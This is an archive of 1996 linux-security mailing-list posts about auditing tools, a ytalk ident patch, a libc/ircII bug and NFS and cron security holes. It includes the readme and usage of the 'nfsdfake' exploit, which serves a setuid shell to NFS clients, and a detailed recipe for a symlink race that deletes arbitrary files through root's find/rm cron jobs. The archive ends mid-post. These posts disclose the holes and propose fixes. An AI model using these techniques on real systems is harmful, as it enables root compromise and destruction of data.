11:38:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA14978; Sat, 11 May 1996 11:38:59 -0400 From: [email protected] (Jacob Langseth) Message-Id: <[email protected]> Subject: Re: [linux-security] Denial of service in inetd To: [email protected] Date: Fri, 10 May 1996 18:37:41 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Chris Farris" at May 10, 96 03:39:24 pm Reply-to: [email protected] X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list | always keep it running. And how would sendmail know how to process the | queue after a specified interval? If you're invoking sendmail via inetd, you must also have a cronjob invoke sendmail every 15m/1hr/whatever to process the queue. But then again, if you're not going to try to save CPU cycles by not running sendmail directly, you might as well run smap and smapd, which has a hell of a lot less overhead then sendmail, and is much more secure. _jwl -- Jacob Langseth | Meddle not in the affairs of dragons, for (Musashi) | thou art crunchy and go well with ketchup _ =---------------+-----+--------------------------------------+ [email protected] | Finger for PGP key ..................| From [email protected] Sat May 11 11:45:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA15016; Sat, 11 May 1996 11:45:07 -0400 Date: Fri, 10 May 1996 22:05:24 -0400 (EDT) From: Bill D To: Pat Trainor cc: [email protected] Subject: Re: [linux-security] uhh.. security? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 9 May 1996, Pat Trainor wrote: > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? I'd suggest the COPS package, available for ftp from CERT (sorry, don't have an exact sitename). [Mod: ftp://ftp.cert.org/pub/cops/. The CERT archive is also mirrored here nightly at ftp://linux.nrao.edu/pub/security/CERT/. --Jeff] It checks all directories and system files, as well as user files like .forward, .profile, and .cshrc for world writeability or other hazardous conditions, plus it will also try to see if the root account (or other privileged accounts that you specify) can be cracked by manipulation of things like file permissions and world writeability of files. Bill -- [email protected] [email protected] (Bill Duetschler) "Yesterday, apropos of nothing, one friend said to me 'Do you ever have days where you just want to get everyone you know together in one place, have them all take off their clothes, and let nature take its course?'" --Susan Groppi From [email protected] Sat May 11 11:47:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA15036; Sat, 11 May 1996 11:47:19 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] uhh.. security? To: [email protected] (Pat Trainor) Date: Sat, 11 May 96 13:05:48 MET DST Cc: [email protected] In-Reply-To: ; from "Pat Trainor" at May 9, 96 7:32 pm Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list Pat Trainor wrote: > > > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? The tiger program (ftp://net.tamu.edu/pub/security/TAMU/) does a very thorough check of file permissions and ownerships. It is particularly paranoid about anything in root's path, including pathnames embedded in binaries, in config files, in cron jobs, and in scripts. It can generate many MBs of output when run in full-blast mode. Wietse From [email protected] Sat May 11 11:55:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA15084; Sat, 11 May 1996 11:55:20 -0400 Date: Thu, 9 May 1996 22:10:37 -0400 (EDT) From: Douglas Song X-Sender: [email protected] To: [email protected], [email protected], [email protected] Subject: [linux-security] Patch for ytalk-3.2 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Someone recently sent me a hacked ytalk client that spoofed the caller's username, pretty lame. This is a patch to ytalk-3.2 to do detect such spoofs via IDENT; really an abuse of the protocol, but what the heck. One lame hack deserves another. *** comm.c Thu May 9 21:35:50 1996 --- comm.c.dug Thu May 9 21:33:41 1996 *************** *** 601,606 **** --- 601,622 ---- show_error("connect_user: bad read"); return; } + #ifdef USE_IDENT + { + char *ident = '\0'; + + ident = ident_id(fd, 10); + + if (ident == '\0') { + strcat(user->full_name," (unverified)"); + } + else if (strncmp(user->user_name, ident, NAME_SIZE) != 0) { + strcat(strcpy(user->full_name, user->user_name), "("); + strncat(user->full_name, ident, NAME_SIZE); + strcat(strcat(user->full_name, ")@"), user->host_name); + } + } + #endif /* USE_IDENT */ if(open_term(user, user->full_name) < 0) { free_user(user); *** header.h Thu May 9 21:35:44 1996 --- header.h.dug Thu May 9 21:33:14 1996 *************** *** 31,36 **** --- 31,39 ---- #ifdef USE_X11 # include #endif + #ifdef USE_IDENT + #include + #endif #define VMAJOR 3 /* major version number */ #define VMINOR 0 /* minor version number */ *** Imakefile Thu May 9 21:35:36 1996 --- Imakefile.dug Thu May 9 21:41:11 1996 *************** *** 30,39 **** #SLIBS = -lsun # ! # If you are on a sun running solaris 2.* you might need to uncomment the ! # following line. #SLIBS = -lnsl -lsocket # # If your machine has a 64-bit architecture or uses 64-bit 'long's, then you --- 30,40 ---- #SLIBS = -lsun # ! # If you are on a sun running solaris 2.* you need to uncomment the ! # following lines. #SLIBS = -lnsl -lsocket + #SDEFS = -DSYSV # # If your machine has a 64-bit architecture or uses 64-bit 'long's, then you *************** *** 56,66 **** Y_BINDIR = /usr/local/bin Y_MANDIR = /usr/local/man/man1 ############################################################ ## Past this point, you shouldn't need to modify anything ## ############################################################ ! LIB = -lcurses -ltermcap $(SLIBS) $(XLIB) ! DEFINES = -DUSE_X11 -I/usr/local/include $(TDEFS) $(BDEFS) $(RCDEF) LDFLAGS = $(LDOPTIONS) OBJ = main.o term.o user.o fd.o comm.o menu.o socket.o rc.o exec.o cwin.o \ xwin.o --- 57,79 ---- Y_BINDIR = /usr/local/bin Y_MANDIR = /usr/local/man/man1 + # + # Uncomment the and edit the following if you want ytalk to check + # the caller's name against the info given by his IDENT daemon. This + # is an abuse of the protocol, but oh well. Not everyone runs Zephyr. + # libident available from ftp://ftp.lysator.liu.edu/pub/ident/libs + + #IDEFS = -DUSE_IDENT + #ILIB = -L/usr/local/lib -lident + #IINC = -I/usr/local/include + + ############################################################ ## Past this point, you shouldn't need to modify anything ## ############################################################ ! LIB = -lcurses -ltermcap $(SLIBS) $(XLIB) $(ILIB) ! DEFINES = -DUSE_X11 -I/usr/local/include $(IINC) $(IDEFS) $(SDEFS) \ ! $(TDEFS) $(BDEFS) $(RCDEF) LDFLAGS = $(LDOPTIONS) OBJ = main.o term.o user.o fd.o comm.o menu.o socket.o rc.o exec.o cwin.o \ xwin.o From [email protected] Sat May 11 11:56:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA15100; Sat, 11 May 1996 11:56:02 -0400 From: "Dave G." Message-Id: <[email protected]> Subject: [linux-security] atoi et al To: [email protected] Date: Fri, 10 May 1996 14:49:25 -0400 (EDT) Cc: [email protected] X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list I have done some playing around with this, and while I am able to get ircII 2.8.2 w/ libc 5.0.9 to give a bus error, I have not been able to get atoi() to crash in any way. Can you or anyone else please confirm that it is atoi()? Theoretically, this should cause a segmentation fault on any system with a buggy atoi(): --- /* This program is silly, and was written with my mail editor. I do not garuntee anything, and if you use it somewhere let me know, and please strip my name out first :) Dave G. */ #include #define BIGNUMBER 300 main() { char big_hairy_lobster[BIGNUMBER]; int i; for (i=0;i X-Sender: [email protected] To: lilo cc: Linux Security List Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 9 May 1996, lilo wrote: > Um, anyone who has to do /ignore * ctcp probably needs to upgrade their > client, since ctcp functions are fairly handy things. But that's a separate > issue for another time, and probably another venue.... /ignore * ctcp isn't always the best way to solve it, but if you are being attacked before you have a chance to upgrade libc or compile a new ircII client, it's a good sheild against repetetive abusers. From [email protected] Sat May 11 11:56:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA15132; Sat, 11 May 1996 11:56:40 -0400 Date: Fri, 10 May 1996 17:15:55 -0400 (EDT) From: Kurt Hockenbury To: Pat Trainor cc: [email protected] Subject: Re: [linux-security] uhh.. security? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 9 May 1996, Pat Trainor wrote: > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? Well, once you have the permissions set up the way you want them, you can use tripwire (available from ftp.cert.org) to make sure that they and your programs remain intact. It would be nice if some of the distributions could ship with tripwire and a tripwire database. symlinks will check for dangling symlinks, and some other stuff. Site1 =tsx-11.mit.edu Path1 =/pub/linux/sources/usr.bin Site2 =sunsite.unc.edu Path2 =/pub/Linux/utils/file File1 =symlinks-1.0.tar.gz -Kurt From [email protected] Sat May 11 11:57:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA15148; Sat, 11 May 1996 11:57:21 -0400 Date: Fri, 10 May 1996 21:51:39 -0400 (EDT) From: Robin Thellend X-Sender: intru@von-neumann To: Linux Security Subject: Re: [linux-security] libc bug exploited through ircII In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 10 May 1996 [email protected] wrote: > /on ^raw_irc "% PRIVMSG % *DCC % % ???????????* *" { > echo Possible libc bug exploit received in DCC $4 from $0 > } This will block pretty much all DCC requests because ? can match a space just as well as a digit. You'd better use something like that: /on ^raw_irc "% PRIVMSG % ^ADCC % % ????????????????????????????????????*" \ echo Possible libc bug exploit received in DCC $4 from $0 (^A being ctrl-A) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Robin Thellend (seks@irc) 3rd yr Comp.Eng. Student Ecole Polytechnique de Montreal, Quebec, Canada PGP public key: finger -l [email protected] If computers get too powerful, we can organize them into a committee -- that will do them in. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% From [email protected] Sat May 11 12:02:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id MAA15210; Sat, 11 May 1996 12:02:41 -0400 Date: Fri, 10 May 1996 21:31:22 -0500 (CDT) From: Barry Caplin X-Sender: [email protected] To: Pat Trainor cc: [email protected] Subject: Re: [linux-security] uhh.. security? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hi, > > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? > > No references I have found to date treat linux security with any > more than 3 pages. YET the distributions as installed leave the system > wide open.. > > Any scripts/utils/books/prayers? I have a number of security related links on my isp web page, www.mtiweb.net/isp. While not specifically linux, I got alot of good advice from a document at the Navy Research Labs http://hightop.nrl.navy.mil. Barry Barry Caplin MicroWEB Technology, Inc. [email protected] http://www.mtiweb.net From [email protected] Sat May 11 12:05:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id MAA15232; Sat, 11 May 1996 12:05:22 -0400 Date: Sat, 11 May 1996 10:59:48 -0500 (CDT) From: Jerry Champlin Subject: Re: [linux-security] uhh.. security? To: Pat Trainor Cc: [email protected] In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 9 May 1996, Pat Trainor wrote: > What way can a sysadmin check all dirs for the proper (or close) > permissions and symbolic links for an a> functional system, and b> a > secure system? > Any scripts/utils/books/prayers? > I'd put this one in the prayer category, but it's a start. ftp.auscert.org.au:/pub/coast/tools/unix/permissions.tar.gz Have Fun -Jerry linux-security/linux-security.960519100664 1767 1767 2427 6147640374 16650 0ustar majdommajdomFrom [email protected] Sun May 19 11:40:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA24979; Sun, 19 May 1996 11:40:40 -0400 Date: Sat, 18 May 1996 20:10:55 +0100 (BST) From: Sam Mortimer X-Sender: csxsjm@csgi20 To: [email protected] cc: [email protected] Subject: [linux-security] SO_REUSEADDR Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Doesn't rpc.nfsd want _NOT_ to set SO_REUSEADDR to stop users on the server from running their own nfs server and thereby effectively gaining root on all client machines? eg. At home, if I start the nfs server as root and mount something (anything), then as any non-root user I can start my own nfsd which has been modified so getattr() checks pathnames for the substring "xyz" and if it exists returns attrs with the owner of the file set to root.....etc. Is there a *good* reason why nfsd sets SO_REUSEADDR, or is it just so that it can be debugged more easily? -Sam. PS Read the thread titled `bind() Security Problems' in the Feb '96 linux-security archives for background information. linux-security/linux-security.960520100664 1767 1767 4444 6150100110 16606 0ustar majdommajdomFrom [email protected] Mon May 20 10:22:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id KAA30839; Mon, 20 May 1996 10:22:38 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] SO_REUSEADDR To: [email protected] (Sam Mortimer) Date: Mon, 20 May 1996 10:24:48 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: from "Sam Mortimer" at May 18, 96 08:10:55 pm Content-Type: text Content-Length: 309 Sender: [email protected] Precedence: list > Doesn't rpc.nfsd want _NOT_ to set SO_REUSEADDR to stop users on > the server from running their own nfs server and thereby effectively > gaining root on all client machines? Definitely. > Is there a *good* reason why nfsd sets SO_REUSEADDR, or is it just > so that it can be debugged more easily? No From [email protected] Mon May 20 10:22:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id KAA30856; Mon, 20 May 1996 10:22:59 -0400 Date: Mon, 20 May 1996 12:00:26 +0300 (EET DST) From: Cristian Gafton To: [email protected] Subject: [linux-security] running a shadowed system with NYS ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello, I'd appreciate if someone have a pointer to a security-related document on running NYS on a network with shadowed passwords. It is obvious that one can't distribute the shadow map over NYS from the ypserv-er... So, what's the trick ? Cristian Gafton Cristian Gafton, SysAdm [email protected] ------------------------------------------------------------------- Computers & Communications Center str. Moara de Foc nr. 35 Phone: 40-32-252936, 252938 PO-BOX 2-549 Fax: 40-32-252933 IASI 6600, ROMANIA =================================================================== Good code is hard to write, so it must be hard to understand. linux-security/linux-security.960521100664 1767 1767 44667 6150375741 16672 0ustar majdommajdomFrom [email protected] Tue May 21 10:49:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id KAA04314; Tue, 21 May 1996 10:49:23 -0400 Message-Id: To: Sam Mortimer Cc: [email protected] Subject: Re: [linux-security] SO_REUSEADDR Date: Mon, 20 May 1996 19:11:27 +0200 From: Olaf Kirch Sender: [email protected] Precedence: list On Sat, 18 May 1996 20:10:55 BST, Sam Mortimer wrote: > > Doesn't rpc.nfsd want _NOT_ to set SO_REUSEADDR to stop users on > the server from running their own nfs server and thereby effectively > gaining root on all client machines? Right. That's an oversight on my part. A corrected version is now available on ftp.mathematik.th-darmstadt.de:/pub/linux/okir. Another security-related problem that came to my attention just a few days ago is that the read_only export flag would not work properly for the latest one or two versions. The new release fixes that as well, hopefully. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Tue May 21 10:50:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id KAA04331; Tue, 21 May 1996 10:50:01 -0400 Date: Mon, 20 May 1996 13:36:05 -0500 (CDT) From: Oliver Friedrichs To: Sam Mortimer Cc: [email protected], [email protected] Subject: Re: [linux-security] SO_REUSEADDR In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sat, 18 May 1996, Sam Mortimer wrote: > eg. At home, if I start the nfs server as root and mount something > (anything), then as any non-root user I can start my own nfsd which has > been modified so getattr() checks pathnames for the substring "xyz" and if > it exists returns attrs with the owner of the file set to root.....etc. Right, infact I wrote an exploit for this back in January, here's the readme. nfsdfake 1.1 A simple example of how to take advantage of the bind() security problem. We can bind to arbitrary unprivileged ports which are already bound to INADDR_ANY, if we bind to a specific address. In other words we can setup our own NFS server on port 2049, and send our own replies to NFS requests from the server. In this example we run a shell as other users on the client, by sending responses to the client making it think it's running a setuid program. This will only work if the client has mounted the remote filesystem as setuid. Generally what happens is as follows: We run a program on the mounted filesystem: Client does a NFSPROC_LOOKUP to the server and asks for attributes for 'nfsbites'. We send a reply, which gives the filehandle, file permissions (setuid), etc. Now the client does the actual reading of the binary via NFSPROC_READ, and in turn we send our binary to the client to execute a setuid shell. client ~~~~~ client:~$ /mnt2/nfsbites client:~# server ~~~~~ server:~$ ./nfsdfake 2049 localhost ./shell 0 0 bound to 127.0.0.1 (2049) NFSPROC_LOOKUP: nfsbites NFSPROC_READ: offset 0, count: 1024,totalcount 1024 NFSPROC_READ: offset 0, count: 1024,totalcount 1024 NFSPROC_READ: offset 1024, count: 1024,totalcount 1024 NFSPROC_READ: offset 2048, count: 1024,totalcount 1024 We make sure to only reply to requests for our own binary, since we could really mess up other clients otherwise. We just ignore other requests, since you should be able to pull this off in under a couple seconds, it doesn't really matter, as the real clients will keep trying. This has been tested on SunOS 4.1.x, Linux, Solaris, AIX, *BSD* and should work on any systems supporting RPC. On Solaris we need to compile our own rpc library as there appears to be a bug in the RPC library. svcudp_create calls TLI routines which fail on a call to t_sync (as it expects a TLI transport endpoint) - and the corresponding TLI t_bind routine will NOT let us bind when the real nfsd is already bound. If a file system is mounted nosuid, we may still be able to subvert some other program which the system or another user runs. Usually if a filesystem hasn't been used within a timeout period, the client does a NFSPROC_GETATTR on the root directory first, so try running some dummy command on the filesystem before loading the fake daemon. Also supports sending device files, another good reason for mounting nosetuid/nodev. - Oliver From [email protected] Tue May 21 11:42:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA04654; Tue, 21 May 1996 11:42:17 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: [linux-security] SO_REUSEADDR To: [email protected] (Sam Mortimer) Date: Tue, 21 May 1996 11:32:44 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: from "Sam Mortimer" at May 18, 96 08:10:55 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Quoted from Sam Mortimer: > eg. At home, if I start the nfs server as root and mount something > (anything), then as any non-root user I can start my own nfsd which has > been modified so getattr() checks pathnames for the substring "xyz" and if > it exists returns attrs with the owner of the file set to root.....etc. Injecting symlinks to files on the client's local disk would allow you to exploit any privileged users using the NFS mounts by fooling them into clobbering system files. You can of course receive anything the client writes and send whatever you like when it reads. If the client has mounted NFS filesystems with something less than 'nosuid,nodev,noexec' in the mount flags, then the client deserves what it gets. There's a network in between the two, and NFS protocol has no authentication, so even if the real server were running it would still be possible to attack the client, although without this particular bug it's a little harder. I mount everything but the root partition with 'nodev,nosuid,noexec' in the mount flags. This includes floppies and CDROMs (removable media containing a user-supplied filesystem--Ewww!), non-root/boot hard disks (if you don't have device files in /home, then why enable support for them?), and especially NFS. NFS is pretty bad stuff anyway. I've found that it's usably useful as a read-only data-sharing protocol, if you remove the set*id() code in the daemon, chroot() it, run it as non-root, remove support for writes, and have the clients mount it nodev/nosuid/noexec/ro. Even then, you have to have educated users on the client, because even seemingly harmless actions like using 'vim' to read a text file on the NFS mount can be exploited by a malicious server to overwrite the innocent user's files (in this case, with the .swp file generated by 'vim'). Is there a Linux implementation of AFS? There *has* to be a better way... -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong From [email protected] Tue May 21 13:22:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id NAA05266; Tue, 21 May 1996 13:22:37 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: [linux-security] Things NOT to put in root's crontab To: [email protected], [email protected] Date: Tue, 21 May 1996 13:10:36 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Sigh. Here are several things I've just removed from /etc/crontab on every RedHat Linux system I can get my hands on. They contain security holes related to the use of 'find' and 'rm' to expire old files in /tmp and other places. It seems that awareness of this type of security problem is rather low, so I'll explain the class of problem and how to fix it. >From Redhat's /etc/crontab file: ># Remove /var/tmp files not accessed in 10 days >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null > ># Remove /tmp files not accessed in 10 days ># I commented out this line because I tend to "store" stuff in /tmp ># 41 02 * * * root find /tmp/* -atime +10 -exec rm -f {} \; 2> /dev/null > ># Remove formatted man pages not accessed in 10 days >39 02 * * * root find /var/catman/cat?/* -atime +10 -exec rm -f {} \; 2> /dev/null > ># Remove and TeX fonts not used in 10 days >35 02 * * * root find /var/lib/texmf/* -type f -atime +10 -exec rm -f {} \; 2> /dev/null Folks, do NOT use 'find' on a public directory with '-exec rm -f' as root. Period. Ever. Delete it from your crontab *now* and finish reading the rest of this message later. * PROBLEM DISCUSSION AND EXPLOITATION The immediate security problem is that 'rm' doesn't check that components of the directory name are not symlinks. This means that you can delete any file on the system; indeed, with a little work you can delete *every* file on the system, provided that you can determine the file names (though you might be limited to deleting files more than ten days old). First, create the directories and file: /tmp/hacker-fest/some/arbitrary/set/of/path/names/etc/passwd where all but the last component is a directory. Be ready to replace 'etc' with a symlink to '/etc', so that: /tmp/hacker-fest/some/arbitrary/set/of/path/names/etc -> /etc i.e. the path components of the file name will point to a file named 'passwd' in a different directory. If the replacement operation occurs between when 'find' sets {} to "/tmp/hacker...etc/passwd" and when 'rm' calls unlink on "/tmp/hacker...etc/passwd", then rm will in fact delete '/etc/passwd', and not a file in /tmp. Deleting other files is left as an exercise. The race condition is really easy to win. Create a directory with 400 path components, like this: /tmp/hacker-fest/a/a/a/a/a/a/a.../a/a/a/etc/passwd (1) Then arrange for each of the 'a' components to be a symlink to a directory somewhere near the bottom of a similar tree. For example, /tmp/hacker-fest/a could be a symlink to /tmp/hacker-fest/b/b/b/b/b/b/b/b/b/.../b/b/b/b/b/b/a which could be a symlink to /tmp/hacker-fest/c/c/c/c/c/c/.../c/c/c/c/c/c/c and so on. In fact, *each* path component can be a symlink up to about 8 levels or so. Any operation such as stat(), open(), lstat(), etc. on one of these pathnames will cause the kernel to follow each and every symlink. The difference between lstat() and stat() in this case is that lstat() will not follow the *last* symlink. This will make lstat() and friends *extremely* slow, on the order of several *minutes* per lstat() operation, because each lstat() is now reading in several thousand inodes and disk blocks. If you fill each directory with several hundred entries, then create the entry you want, then delete the others, you force the kernel to waste its time reading kilobytes of empty directory blocks--in fact, you can make one stat() or unlink() operation read almost the entire disk in an order designed to maximize disk head motion if you know what you're doing. If you have an NFS, CDROM, or floppy-disk filesystem handy, you can get *weeks* per lstat(). Of course, 'find' will normally see the first symlink and stop. To prevent this, you rename the original directory (at (1) above) and create another directory with the same name and about 5000 empty files, some of which have the same name as files you want to delete. Note that these 5000 empty files can all be hard links to the same file, to save precious inodes for more of those symlinks. 'find' will spend considerable time iterating through these 5000 files. When it does (you'll be able to tell because the atime of the directory changes as find reads it), put the directory with the millions of symlinks at (1) back with a couple of rename operations. Some versions of 'find' will not be adversely impacted by this, but 'rm' definitely will. It is usually sufficient to simply create the 400-component-long directory, put 5000 files in it, wait for the atime of the directory to change, then do the rename so that 'rm' follows a symlink. I used this technique to remove /etc/crontab as a test case. If you have: /tmp/hacker-fest/a/a/a/a/a/.../a/etc/passwd (and 5000+ other files) /tmp/hacker-fest/a/a/a/a/a/.../a/usr where 'usr' is a symlink to '/usr', you can get some implementations of find to start recursing through /usr as well. * OTHER PROBLEMS WITH THIS CRONTAB A user can set the atime of any file they own to an arbitrary value, and that programs like zip, tar, and cpio will do this for you automatically; this makes 'atime' an almost useless indicator of when a file was last used ('mtime' has the same problem). Either the file will be deleted too early, because it was extracted from an archive using a program that preserves timestamps, or users can set the atime to well into the future and use /tmp space indefinitely. The later of ctime (to detect writes) and atime (to detect reads; must check that atime is not in the future) is a good indicator of when a file was last used. Miscellaneous bugs: the use of '*' means that files in a directory named '.foo' will never be cleaned (and you can prevent 'find' from working at all by putting more than 1020 files in /tmp). There are subdirectories of /var/catman that aren't properly handled by the 'find' command given (local and X11). You can't delete a directory with 'rm -f'. In other words, not only is RedHat's /etc/crontab a major security hole, it doesn't actually work properly, either. :( * FIXES The easiest way to fix this is to get rid of the find/rm stuff completely. If you need a garbage collector, try our LRU garbage collection daemon at the URL given below. Adding a system call that sets a flag that prevents a process from being able to ever follow a symlink would be non-portable, but efficient and effective. The next easiest way to fix this is to replace 'rm' with a program that does not follow symlinks. It must check that each filename component in turn by doing an lstat() of the directory, chdir() into the directory, and further lstat()s to check that the device/inode number of '.' is the same as the directory's device/inode number before chdir(). The parameter of the 'unlink' or 'rmdir' system call must not contain a slash; if it does, then the directory name before the slash can be replaced by a symlink to a different directory between verification of path components and the actual unlink() call. Another way to fix this is with a smarter version of find. A smart find does the chdir() and lstat() checks to make sure that it never crosses a symlink, and calls the program in 'exec' using a filename with no directory components, relative to the current directory. Thus, to delete: /tmp/hacker-fest/a/a/a/a/a/.../etc/passwd find first carefully (checking for attempts to exploit race conditions before and *after* each chdir()) chdir()s into /tmp/hacker-fest/a/a/a/a/a/.../etc and will fail if any of the components is a symlink, plugging the hole described above. After verifying that the '.../etc' is really a subdirectory of /tmp, and not some random point on the filesystem, find exec's the command: rm -f ./passwd which is secure as long as '.' isn't in your PATH. Note the leading './' to prevent rm from interpreting the filename as a parameter. Note: this is in *addition* to the checks that find already makes to determine whether a file is a symlink *before* chdir()ing into it. It must make sure that components of the path that have *already* been tested are not replaced with symlinks or renamed directories *after* find has started processing subdirectories of them. Note that the 'smart' find without the post-chdir symlink tests won't work. While smart-find is processing: /tmp/hacker-fest/a/a/a/a/* you can rename /tmp/hacker-fest/a/a/a/a to /tmp/hacker-fest/a/a/b (note: one less pathname component) and eventually smart-find will 'cd ..', but since the current directory of find has moved, '..' will move as well, and eventually smart-find will be one level too high and can start descending into other subdirectories of '/'. To help this along you may need to create: /tmp/hacker-fest/usr /tmp/hacker-fest/var etc. * SAFE LRU GARBAGE COLLECTION Our LRU /tmp garbage collector daemon is available at . It is implemented in perl5. It depends on a Linux-specific 'statfs()' system call to monitor available free space, so non-Linux people will need to do a port (send me patches and I'll incorporate them). Our garbage collector: handles the above security problems correctly, handles pathnames more than 1024 characters, uses smarter last-access estimates than just atime or ctime, can support "permanent" subdirectories, handles files, symlinks, directories, devices, mount points correctly, can support minimum age of files (e.g. no files < 1 day old), deletes oldest files first, deletes files only when disk space is low, and responds in less than ten seconds to low disk space conditions. Our garbage collector works on any directory where files can gracefully disappear at arbitrary times, such as /var/catman, /tmp, /var/tmp, TeX font directories, and our HTTP proxy cache. One directory where the garbage collector doesn't work very well is /var/spool/news; we had to hack things up a bit to fix the article databases when article files disappear. -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong linux-security/linux-security.960525100664 1767 1767 21373 6151641425 16657 0ustar majdommajdomFrom [email protected] Sat May 25 13:27:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id NAA15108; Sat, 25 May 1996 13:27:46 -0400 Date: Fri, 24 May 1996 12:56:05 -0400 (EDT) From: Mark Whitis To: Zygo Blaxell cc: [email protected], [email protected] Subject: Re: [linux-security] Things NOT to put in root's crontab In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 21 May 1996, Zygo Blaxell wrote: > >From Redhat's /etc/crontab file: > ># Remove /var/tmp files not accessed in 10 days > >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null > > There is another aspect of this that I find scary, the use of the "*" wildcard where there is absolutely no need (assuming you dont have a symbolic link - if you do, use "/var/tmp/." instead of "/var/tmp/*"). Due to the order in which the shell processes things, it is not as dangerous as I thought at first but consider the implications of: [637]% mkdir /tmp/junk [638]% cd /tmp/junk [639]% dir total 